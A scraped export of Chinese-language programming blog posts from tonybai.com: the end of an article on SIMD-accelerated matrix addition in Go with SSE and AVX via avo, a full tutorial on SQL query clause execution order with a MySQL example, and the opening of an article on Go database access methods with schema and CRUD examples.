·MatrixAddSIMD(SB), NOSPLIT, $0-72 MOVQ a_base+0(FP), AX MOVQ b_base+24(FP), CX MOVQ c_base+48(FP), DX MOVQ a_len+8(FP), BX loop: CMPQ BX, $0x00000004 JL done MOVUPS (AX), X0 MOVUPS (CX), X1 ADDPS X1, X0 MOVUPS X0, (DX) ADDQ $0x00000010, AX ADDQ $0x00000010, CX ADDQ $0x00000010, DX SUBQ $0x00000004, BX JMP loop done: RET 这里使用的ADDPS、MOVUPS和ADDQ都是SSE指令：\nADDPS (Add Packed Single-Precision Floating-Point Values)： 这是一个SSE指令，用于对两个128位的XMM寄存器中的4个单精度浮点数进行并行加法运算。 MOVUPS (Move Unaligned Packed Single-Precision Floating-Point Values): 这也是一个SSE指令，用于在内存和XMM寄存器之间移动128位的单精度浮点数数据。与MOVAPS(Move Aligned Packed Single-Precision Floating-Point Values) 指令不同，MOVUPS不要求地址对齐，可以处理非对齐的数据。 除了生成汇编代码外，asm.go还生成了一个stub函数：MatrixAddSIMD，即上面汇编实现的那个函数。\n// simd-in-go/matadd-sse/pkg/stub.go // Code generated by command: go run asm.go -out add.s -stubs stub.go. DO NOT EDIT. package pkg func MatrixAddSIMD(a []float32, b []float32, c []float32) 在matadd-sse/pkg/add-no-simd.go中，我们放置了常规的矩阵加法的实现：\npackage pkg func MatrixAddNonSIMD(a, b, c []float32) { n := len(a) for i := 0; i \u0026lt; n; i++ { c[i] = a[i] + b[i] } } 接下来，我们编写一些单测代码，确保一下MatrixAddSIMD和MatrixAddNonSIMD的功能是正确的：\n// simd-in-go/matadd-sse/matrix_add_test.go package main import ( \u0026#34;demo/pkg\u0026#34; \u0026#34;testing\u0026#34; ) func TestMatrixAddNonSIMD(t *testing.T) { size := 1024 a := make([]float32, size) b := make([]float32, size) c := make([]float32, size) expected := make([]float32, size) for i := 0; i \u0026lt; size; i++ { a[i] = float32(i) b[i] = float32(i) expected[i] = a[i] + b[i] } pkg.MatrixAddNonSIMD(a, b, c) for i := 0; i \u0026lt; size; i++ { if c[i] != expected[i] { t.Errorf(\u0026#34;MatrixAddNonSIMD: expected %f, got %f at index %d\u0026#34;, expected[i], c[i], i) } } } func TestMatrixAddSIMD(t *testing.T) { size := 1024 a := make([]float32, size) b := make([]float32, size) c := make([]float32, size) expected := make([]float32, size) for i := 0; i \u0026lt; size; i++ { a[i] = float32(i) b[i] = float32(i) expected[i] = a[i] + b[i] } pkg.MatrixAddSIMD(a, b, c) for i := 0; i \u0026lt; size; i++ { if c[i] != expected[i] { t.Errorf(\u0026#34;MatrixAddSIMD: expected %f, got %f at index %d\u0026#34;, expected[i], c[i], i) } } } 如我们预期的那样，上述单测代码可以顺利通过。接下来，我们再来做一下benchmark，看看使用SSE实现的矩阵加法性能到底提升了多少：\n// simd-in-go/matadd-sse/benchmark_test.go package main import ( \u0026#34;demo/pkg\u0026#34; \u0026#34;testing\u0026#34; ) func BenchmarkMatrixAddNonSIMD(tb *testing.B) { size := 1024 a := make([]float32, size) b := make([]float32, size) c := make([]float32, size) for i := 0; i \u0026lt; size; i++ { a[i] = float32(i) b[i] = float32(i) } tb.ResetTimer() for i := 0; i \u0026lt; tb.N; i++ { pkg.MatrixAddNonSIMD(a, b, c) } } func BenchmarkMatrixAddSIMD(tb *testing.B) { size := 1024 a := make([]float32, size) b := make([]float32, size) c := make([]float32, size) for i := 0; i \u0026lt; size; i++ { a[i] = float32(i) b[i] = float32(i) } tb.ResetTimer() for i := 0; i \u0026lt; tb.N; i++ { pkg.MatrixAddSIMD(a, b, c) } } 运行这个benchmark，我们得到下面结果：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo ... ... BenchmarkMatrixAddNonSIMD-8 2129426 554.4 ns/op BenchmarkMatrixAddSIMD-8 3481318 357.4 ns/op PASS ok demo 3.350s 我们看到SIMD实现的确性能优秀，几乎在非SIMD实现的基础上提升了一倍。但这似乎还并不足以说明SIMD的优秀。我们再来扩展一下并行处理的数据的数量和宽度，使用AVX指令再来实现一版矩阵加法，看是否还会有进一步的性能提升。\n4. 第二版SIMD优化(基于AVX) 下面是基于avo使用AVX指令实现的Go代码：\n// simd-in-go/matadd-avx/pkg/asm.go //go:build ignore // +build ignore package main import ( \u0026#34;github.com/mmcloughlin/avo/attr\u0026#34; . \u0026#34;github.com/mmcloughlin/avo/build\u0026#34; . \u0026#34;github.com/mmcloughlin/avo/operand\u0026#34; ) func main() { TEXT(\u0026#34;MatrixAddSIMD\u0026#34;, attr.NOSPLIT, \u0026#34;func(a, b, c []float32)\u0026#34;) a := Mem{Base: Load(Param(\u0026#34;a\u0026#34;).Base(), GP64())} b := Mem{Base: Load(Param(\u0026#34;b\u0026#34;).Base(), GP64())} c := Mem{Base: Load(Param(\u0026#34;c\u0026#34;).Base(), GP64())} n := Load(Param(\u0026#34;a\u0026#34;).Len(), GP64()) Y0 := YMM() Y1 := YMM() Label(\u0026#34;loop\u0026#34;) CMPQ(n, U32(8)) JL(LabelRef(\u0026#34;done\u0026#34;)) VMOVUPS(a.Offset(0), Y0) VMOVUPS(b.Offset(0), Y1) VADDPS(Y1, Y0, Y0) VMOVUPS(Y0, c.Offset(0)) ADDQ(U32(32), a.Base) ADDQ(U32(32), b.Base) ADDQ(U32(32), c.Base) SUBQ(U32(8), n) JMP(LabelRef(\u0026#34;loop\u0026#34;)) Label(\u0026#34;done\u0026#34;) RET() Generate() } 这里的代码与上面sse实现的代码逻辑类似，只是指令换成了avx的指令，包括VMOVUPS、VADDPS等：\nVADDPS (Vectorized Add Packed Single-Precision Floating-Point Values): 是AVX (Advanced Vector Extensions) 指令集中的一个指令，用于对两个256位的YMM寄存器中的8个单精度浮点数进行并行加法运算。 VMOVUPS (Vectorized Move Unaligned Packed Single-Precision Floating-Point Values): 这也是一个AVX指令，用于在内存和YMM寄存器之间移动256位的单精度浮点数数据。与MOVUPS指令相比，VMOVUPS可以处理更宽的256位SIMD数据。 由于在SSE实现的版本中做了详细说明，这里就不再赘述代码逻辑，其他单元测试与benchmark测试的代码也都完全相同，我们直接看benchmark的结果：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo ... ... BenchmarkMatrixAddNonSIMD-8 2115284 566.6 ns/op BenchmarkMatrixAddSIMD-8 10703102 111.5 ns/op PASS ok demo 3.088s 我们看到AVX版的矩阵加法的性能是常规实现的5倍多，是SSE实现的性能的近3倍，在实际生产中，这将大大提升代码的执行效率。\n也许还有更优化的实现，但我们已经达到了基于SIMD加速矩阵加法的目的，这里就不再做继续优化了，大家如果有什么新的想法和验证的结果，可以在评论区留言告诉我哦！\n5. 小结 在这篇文章中，我们探讨了在Go语言中使用SIMD指令进行计算加速的方法。尽管Go官方目前还没有直接支持SIMD的包，但我们通过使用avo库生成汇编代码的方式，成功实现了基于SSE和AVX指令集的矩阵加法优化。\n我们首先介绍了SIMD指令的基本概念和优势，然后讨论了在Go中使用SIMD指令的几种可能方法。接着，我们通过一个具体的矩阵加法示例，展示了如何使用avo库生成基于SSE和AVX指令集的汇编代码。\n通过benchmark测试，我们看到基于SSE指令的实现相比常规实现提升了约1.5倍的性能，而基于AVX指令的实现则带来了约5倍的性能提升。这充分说明了SIMD指令在并行计算密集型任务中的强大优势。\n虽然直接使用SIMD指令需要一定的汇编知识，增加了代码的复杂性，但在一些对性能要求极高的场景下，这种优化方法仍然是非常有价值的。我希望这篇文章能为Go开发者在进行性能优化时提供一些新的思路和参考。\n当然，这里展示的只是SIMD优化的一个简单示例。在实际应用中，可能还需要考虑更多因素，如数据对齐、边界条件处理等。大家可以在此基础上进行更深入的探索和实践。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/simd-in-go\n本文部分源代码由deepseek coder v2实现。\n6. 参考资料 Intel Intrinsics Guide – https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html Go Wiki: AVX512 – https://go.dev/wiki/AVX512 A Manual for the Plan 9 assembler – http://doc.cat-v.org/plan_9/4th_edition/papers/asm From slow to SIMD: A Go optimization story – https://sourcegraph.com/blog/slow-to-simd Efficient and performance-portable vector software – https://github.com/google/highway 并行处理-SIMD – https://www.slidestalk.com/u231/simd_computer 玩转SIMD指令编程 – https://zhuanlan.zhihu.com/p/591900754 Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/07/21/simd-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 31\" loading=\"lazy\" src=\"/images/wp-content/uploads/simd-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/07/21/simd-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/07/21/simd-in-go\"\u003ehttps://tonybai.com/2024/07/21/simd-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e前些日子，一些资深Gopher，比如\u003ca href=\"https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp\"\u003efasthttp\u003c/a\u003e的作者\u003ca href=\"https://github.com/valyala\"\u003eAliaksandr Valialkin\u003c/a\u003e因\u003ca href=\"https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23/\"\u003e函数迭代器\u003c/a\u003e加入\u003ca href=\"https://tonybai.com/2024/05/30/go-1-23-foresight/\"\u003eGo 1.23版本\u003c/a\u003e而抱怨Go的演进走错了方向：朝着增加复杂性和隐式代码执行的方向发展，而没有专注于Go语言的基本设计哲学——简单性、生产力和性能。Valialkin希望Go团队能专注于一些性能打磨和优化的环节，比如使用SIMD提升一些计算场景下Go代码的性能，避免Go的某些领地被以性能和安全性著称的\u003ca href=\"https://tonybai.com/tag/rust\"\u003eRust\u003c/a\u003e抢去！\u003c/p\u003e","title":"Go语言中的SIMD加速：以矩阵加法为例"},{"content":"通过实例理解SQL查询语句的执行顺序 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 通过实例理解SQL查询语句的执行顺序 七月 20, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/07/20/sql-query-execution-order\nSQL查询语句是关系数据库操作的核心。SQL查询语句有简有繁，简单的SQL查询语句，比如：\nSELECT column1, column2 FROM table_name WHERE condition; 对于这种查询语句，即便初学者也十分容易理解和掌握。但复杂的SQL查询语句，比如：\nSELECT department, AVG(salary) AS avg_salary FROM employee_table WHERE department IN (\u0026#39;IT\u0026#39;, \u0026#39;HR\u0026#39;, \u0026#39;Finance\u0026#39;) GROUP BY department HAVING AVG(salary) \u0026gt; (SELECT AVG(salary) FROM employee_table) ORDER BY avg_salary DESC LIMIT 3; 这种包含了SELECT、FROM、WHERE、GROUP BY、HAVING、ORDER BY和LIMIT等多个子句的复杂查询语句，即便是有多年开发经验的开发人员，如果不清楚各个子句的执行顺序，也很容易写错，并导致非预期的查询结果。\n关于SQL查询语句的执行顺序，互联网上有很多类似下面这样的速查表式(cheetsheet)的图：\n这些图对理解SQL查询语句的执行顺序很有帮助。但对于初学者来说，如果再有一个配套的实例就更完美了。在这篇文章中，我就来为说明SQL查询语句的执行顺序补充一个实例，期望能帮助大家更好地学习和理解SQL查询语句的执行顺序。\n1. 实例的Schema和初始数据 本文将使用两个表：departments 表和employees表来演示查询操作。以下是这两个表的创建和初始数据插入语句：\n注：本文试验环境使用的是MySQL数据库，关于MySQL数据库的安装和运行方法，可以参考我之前的一篇文章《通过实例理解Go访问和操作数据库的几种方式》。\nDROP DATABASE IF EXISTS example_db; CREATE DATABASE example_db; use example_db; CREATE TABLE departments ( dept_id INT PRIMARY KEY, dept_name VARCHAR(255) ); CREATE TABLE employees ( emp_id INT PRIMARY KEY, name VARCHAR(255), salary DECIMAL(10, 2), dept_id INT, FOREIGN KEY (dept_id) REFERENCES departments(dept_id) ); 我们事先在表中预置一些初始数据：\nINSERT INTO departments (dept_id, dept_name) VALUES (1, \u0026#39;HR\u0026#39;), (2, \u0026#39;Engineering\u0026#39;), (3, \u0026#39;Marketing\u0026#39;); INSERT INTO employees (emp_id, name, salary, dept_id) VALUES (1, \u0026#39;Alice\u0026#39;, 60000, 1), (2, \u0026#39;Bob\u0026#39;, 50000, 1), (3, \u0026#39;Carol\u0026#39;, 70000, 2), (4, \u0026#39;Dave\u0026#39;, 55000, 2), (5, \u0026#39;Eve\u0026#39;, 40000, 3), (6, \u0026#39;Frank\u0026#39;, 80000, 2), (7, \u0026#39;Grace\u0026#39;, 45000, 3), (8, \u0026#39;Heidi\u0026#39;, 75000, 2), (9, \u0026#39;Ivan\u0026#39;, 48000, 1), (10, \u0026#39;Judy\u0026#39;, 51000, 3); 到这里，试验环境和数据就就绪了！\n2. SQL查询语句 接下来，我们来编写一个复杂一些的查询语句，作为本文要分析的目标：\nSELECT d.dept_name, AVG(e.salary) AS avg_salary FROM employees as e JOIN departments as d ON e.dept_id = d.dept_id WHERE e.salary \u0026gt; 10000 GROUP BY d.dept_name HAVING AVG(e.salary) \u0026gt; 50000 ORDER BY avg_salary DESC LIMIT 3; 这条SQL查询语句的功能大致是从employees和departments两个表中查询每个部门(dept)的平均工资。那么这条语句究竟是怎么做到这一点的呢？我们通过下面对SQL语句执行顺序的step by step分析来一看究竟。\n3. SQL查询语句执行顺序 在编写SQL查询语句时，理解其执行顺序是至关重要的。因为，SQL语句中各个子句的执行顺序与它们在语句中的出现顺序并不一致，比如像本文前面那张图展示的那样，查询语句中最先出现的select子句这样的投影操作其实是在后面执行的。\n通常情况下，就像上图中所示，SQL查询语句的执行顺序如下：\nFROM和JOIN -\u0026gt; WHERE -\u0026gt; GROUP BY -\u0026gt; HAVING -\u0026gt; SELECT -\u0026gt; ORDER BY -\u0026gt; LIMIT 下面我们就基于上述实例，对执行顺序中的每个子句进行分析。首先来看一下FROM/JOIN。\n3.1 FROM和JOIN SQL查询语句中的FROM和JOIN子句是最先执行的：\nFROM employees e JOIN departments d ON e.dept_id = d.dept_id 它们为后续的其他子句提供了操作的对象数据集合。Join会先根据指定的连接条件(通常是等值条件，比如这里的e.dept_id = d.dept_id)来连接两个表，只有满足连接条件的行才会被保留在结果集中。From将从这个联结后的大表中查询满足条件的数据。\n执行后的中间结果如下：\n+--------+-------+----------+---------+-------------+ | emp_id | name | salary | dept_id | dept_name | +--------+-------+----------+---------+-------------+ | 1 | Alice | 60000.00 | 1 | HR | | 2 | Bob | 50000.00 | 1 | HR | | 9 | Ivan | 48000.00 | 1 | HR | | 3 | Carol | 70000.00 | 2 | Engineering | | 4 | Dave | 55000.00 | 2 | Engineering | | 6 | Frank | 80000.00 | 2 | Engineering | | 8 | Heidi | 75000.00 | 2 | Engineering | | 5 | Eve | 40000.00 | 3 | Marketing | | 7 | Grace | 45000.00 | 3 | Marketing | | 10 | Judy | 51000.00 | 3 | Marketing | +--------+-------+----------+---------+-------------+ 3.2 WHERE 接下来来到了WHERE。\nWHERE子句的作用是对FROM和JOIN提供的数据集合进行筛选，只保留满足某些条件的记录(行)，它相当于对上面JOIN表后的中间结果的数据集合施加了一个过滤器，只有满足过滤条件（这里是salary \u0026gt; 10000）的记录才会进入下一个中间结果的数据集合中。这样也可以减少后续子句操作的数据量，提高查询效率。\n具体到这个示例上，WHERE子句如下：\nWHERE e.salary \u0026gt; 10000 由于上面中间结果中每位雇员的工资(salary)都大于10000，因此这一步过滤之后，实际得到的中间结果与上面的表格中的数据是一样的。\n3.3 GROUP BY 接下来执行的是GROUP BY。\n这里GROUP BY子句的作用是将上述查询的中间结果集按照指定的列(dept_name)进行分组。使用GROUP BY进行分组的前提是SELECT投影的列必须是可分组的列，比如这里的dept_name和dept_id。如果SELECT投影的列是不可分组的列，比如这里的emp_id、name等，查询语句就会报错！\n在我们的实例中，使用的是dept_name对上述查询的中间结果集进行分组和聚合运算的：\nGROUP BY d.dept_name 该子句会根据部门名称(dept_name)进行分组，计算每个组的平均工资(AVG(e.salary))的计算也是在这时执行的，以下是执行后的中间结果：\n+---------+-------------+--------------+ | dept_id | dept_name | avg_salary | +---------+-------------+--------------+ | 1 | HR | 52666.666667 | | 2 | Engineering | 70000.000000 | | 3 | Marketing | 45333.333333 | +---------+-------------+--------------+ 注：这里包含了可分组的字段dept_id。关于这个字段是否真实包含在中间结果中可能与各个数据库的实现有关。\n3.4 HAVING HAVING子句在数据分组之后起作用，用于过滤分组后的结果。这个与执行选择关系操作Where过滤在作用时机上有所不同，WHERE子句在数据被分组之前起作用，用于过滤原始数据。\n本例应用的HAVING条件如下：\nHAVING AVG(e.salary) \u0026gt; 50000 即过滤出平均工资超过50000的组。下面是HAVING子句作用后的中间结果：\n+---------+-------------+--------------+ | dept_id | dept_name | avg_salary | +---------+-------------+--------------+ | 1 | HR | 52666.666667 | | 2 | Engineering | 70000.000000 | +---------+-------------+--------------+ 3.5 SELECT SELECT是我们最熟悉的关系代数操作了，也叫投影，用于选择所需的列。\n在本实例中，我们选择了dept_name和avg_salary：\nSELECT d.dept_name, AVG(e.salary) AS avg_salary 该子句作用后的中间结果如下：\n+-------------+--------------+ | dept_name | avg_salary | +-------------+--------------+ | HR | 52666.666667 | | Engineering | 70000.000000 | +-------------+--------------+ 3.6 ORDER BY 最后执行的是排序子句，对中间结果按特定字段的升序或降序进行排列，这里我们按平均工资降序排列：\nORDER BY avg_salary DESC 得到的中间结果如下：\n+-------------+--------------+ | dept_name | avg_salary | +-------------+--------------+ | Engineering | 70000.000000 | | HR | 52666.666667 | +-------------+--------------+ 3.7 LIMIT 最后，LIMIT子句用于限制结果集的记录数量，这里限制输出3个：\nLIMIT 3 由于上面的中间结果已经仅剩2条记录，因此上面的中间结果就是最终结果：\n+-------------+--------------+ | dept_name | avg_salary | +-------------+--------------+ | Engineering | 70000.000000 | | HR | 52666.666667 | +-------------+--------------+ 4. 小结 在这篇文章中，我们通过实例，从FROM/JOIN开始，逐步分析了WHERE、GROUP BY、HAVING、SELECT、ORDER BY和LIMIT子句的执行顺序，并提供了中间结果的输出。这个实例的分步讲解可以让大家清晰地理解SQL查询语句的执行顺序，有助于大家更好地理解复杂的SQL查询语句，为编写复杂且高效的SQL查询语句打下坚实的基础。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/07/20/sql-query-execution-order/","summary":"\u003ch1 id=\"通过实例理解sql查询语句的执行顺序--tony-bai\"\u003e通过实例理解SQL查询语句的执行顺序 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"通过实例理解sql查询语句的执行顺序\"\u003e通过实例理解SQL查询语句的执行顺序\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e七月 20, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/07/20/sql-query-execution-order/#respond\" title=\"《通过实例理解SQL查询语句的执行顺序》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/sql-query-execution-order-1.png\"\u003e\u003c/p\u003e","title":"通过实例理解SQL查询语句的执行顺序"},{"content":"\n本文永久链接 – https://tonybai.com/2024/07/15/understand-the-ways-to-access-databases-in-go\n关系数据库操作是Go应用开发中的重要一环，尤其是Go Web应用、微服务等。作为Gopher，我们需要了解几种主流的数据库访问和操作方法，以便在项目中做出适当的选择。\n我个人在日常开发中较少涉及CRUD类应用，因此使用Go访问和操作数据库的机会并不多，在这方面也算是有一些“短板”。通过在这篇文章中对数据库访问方式进行全面的梳理，我也算是补全一下技能树，同时也能为读者小伙伴提供一些参考。\n我搜集了目前Go社区的主流数据库访问和操作方式，大致有如下几种：\n使用Go标准库database/sql+特定数据库的driver，外加像sqlx这种无缝兼容的功能增强包 使用对象关系映射ORM，如GORM等 使用代码生成+ ORM方式，如sqlc、Fackbook开源的Ent等。 在这篇文章中，我会建立一个简单的关系数据库实例，并用一个简单的学校院系选课关系模型作为示例，分别用上述几种方法实现数据库访问以及CRUD操作，并对比各种方式的操作性能。通过对比，你可以了解每种方法的特点。希望这些例子能帮助各位读者在实际项目中更好地处理数据库操作。\n1. 建立示例数据库和数据库模式(schema) 为了便于后续代码示例的讲解和实现，我们先来建立示例数据库并定义数据库模式。\n1.1 基于容器启动MySQL数据库服务 在本文中，我们选择关系数据库界的主流代表MySQL数据库。基于容器，我们可以很方便地启动MySQL数据库服务：\n$docker pull mysql:latest $docker run -d --name mysql-db -v /path/to/host/mysqldata:/var/lib/mysql -p 4407:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:latest 由于做了volume挂载，MySQL容器内部的数据文件将会存储在主机的/path/to/host/mysqldata目录下，即使容器被删除或重新创建，数据文件也不会丢失。你可以根据实际情况替换/path/to/host/mysqldata为你想要存储MySQL数据的主机目录路径。\n如果容器启动成功，我们可以通过容器内的mysql client工具连接到MySQL数据库中：\n$docker exec -it mysql-db mysql -uroot -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 8 Server version: 8.2.0 MySQL Community Server - GPL Copyright (c) 2000, 2023, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type \u0026#39;help;\u0026#39; or \u0026#39;\\h\u0026#39; for help. Type \u0026#39;\\c\u0026#39; to clear the current input statement. mysql\u0026gt; 我们在MySQL中创建example_db数据库供后面的数据库建表和数据操作使用：\nmysql\u0026gt; CREATE DATABASE example_db; Query OK, 1 row affected (0.01 sec) mysql\u0026gt; SHOW DATABASES; +--------------------+ | Database | +--------------------+ | example_db | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.01 sec) 1.2 建立数据库模式 接下来，我将借用并简化《Database System Concepts,7th》一书中提供的示例数据库的Schema，创建本文后续代码示例使用的数据库表。简化后的Schema将涵盖常见的CRUD操作需求，同时保证数据库结构清晰易懂。下面是简化后的数据模式对应的E-R图(基于在线https://dbdiagram.io/工具生成，dbml源文件在database-access/schema.dbml)：\n这个Schema包括department(院系表)、instructor(教师表)、course(课程信息表)、student(学生信息表)和enrollment(学生选课信息)。下面是建表语句：\n// database-access/schema.sql DROP DATABASE IF EXISTS example_db; CREATE DATABASE example_db; CREATE TABLE department ( dept_id INT AUTO_INCREMENT, name VARCHAR(50) NOT NULL, PRIMARY KEY (dept_id) ); CREATE TABLE instructor ( instr_id INT AUTO_INCREMENT, name VARCHAR(50) NOT NULL, dept_id INT, PRIMARY KEY (instr_id), FOREIGN KEY (dept_id) REFERENCES department(dept_id) ); CREATE TABLE course ( course_id INT AUTO_INCREMENT, title VARCHAR(100) NOT NULL, dept_id INT, PRIMARY KEY (course_id), FOREIGN KEY (dept_id) REFERENCES department(dept_id) ); CREATE TABLE student ( student_id INT AUTO_INCREMENT, name VARCHAR(50) NOT NULL, dept_id INT, PRIMARY KEY (student_id), FOREIGN KEY (dept_id) REFERENCES department(dept_id) ); CREATE TABLE enrollment ( student_id INT, course_id INT, semester VARCHAR(6), year INT, PRIMARY KEY (student_id, course_id, semester, year), FOREIGN KEY (student_id) REFERENCES student(student_id), FOREIGN KEY (course_id) REFERENCES course(course_id) ); 通过mysql client工具执行上述语句后，我们就完成了表的创建：\nmysql\u0026gt; show tables; +----------------------+ | Tables_in_example_db | +----------------------+ | course | | department | | enrollment | | instructor | | student | +----------------------+ 5 rows in set (0.00 sec) 不过在开始使用Go语言来访问并操作这些数据表之前，我们先定义一些基本的数据库表操作的示例，后续每种Go访问和操作数据库的方式都会基于这些示例并实现这些示例中的操作。\n2. 定义数据库表操作示例 2.1 插入数据（Create） 向department表中插入数据：\nINSERT INTO department (name) VALUES (\u0026#39;Computer Science\u0026#39;); INSERT INTO department (name) VALUES (\u0026#39;Mathematics\u0026#39;); 向instructor表中插入数据：\nINSERT INTO instructor (name, dept_id) VALUES (\u0026#39;John Doe\u0026#39;, 1); INSERT INTO instructor (name, dept_id) VALUES (\u0026#39;Jane Smith\u0026#39;, 2); 向course表中插入数据：\nINSERT INTO course (title, dept_id) VALUES (\u0026#39;Database Systems\u0026#39;, 1); INSERT INTO course (title, dept_id) VALUES (\u0026#39;Calculus\u0026#39;, 2); 向student表中插入数据：\nINSERT INTO student (name, dept_id) VALUES (\u0026#39;Alice\u0026#39;, 1); INSERT INTO student (name, dept_id) VALUES (\u0026#39;Bob\u0026#39;, 2); 向enrollment表中插入数据：\nINSERT INTO enrollment (student_id, course_id, semester, year) VALUES (1, 1, \u0026#39;Fall\u0026#39;, 2024); INSERT INTO enrollment (student_id, course_id, semester, year) VALUES (2, 2, \u0026#39;Fall\u0026#39;, 2024); 2.2 查询数据（Retrieve） 查询所有学生的信息：\nSELECT * FROM student; 查询某个院系的课程信息：\nSELECT * FROM course WHERE dept_id = 1; 查询某个学生的选课信息：\nSELECT * FROM enrollment WHERE student_id = 1; 2.3 更新数据（Update） 更新某个学生的姓名：\nUPDATE student SET name = \u0026#39;Alice Johnson\u0026#39; WHERE student_id = 1; 更新某个课程的标题：\nUPDATE course SET title = \u0026#39;Advanced Database Systems\u0026#39; WHERE course_id = 1; 2.4 删除数据（Delete） 删除某个学生的选课记录：\nDELETE FROM enrollment WHERE student_id = 1 AND course_id = 1 AND semester = \u0026#39;Fall\u0026#39; AND year = 2024; 删除某个课程：\nDELETE FROM course WHERE course_id = 1; 通过上述定义的这些示例操作，我们可以对数据库进行基本的增删改查操作。接下来，我们就来正式介绍Go访问和操作数据库的几种主流方式，并分别用这些方式来实现上述示例的CRUD操作。\n我们先来看一下基于Go标准库的数据库访问和操作方式。\n3. 采用Go标准库的数据库访问方式 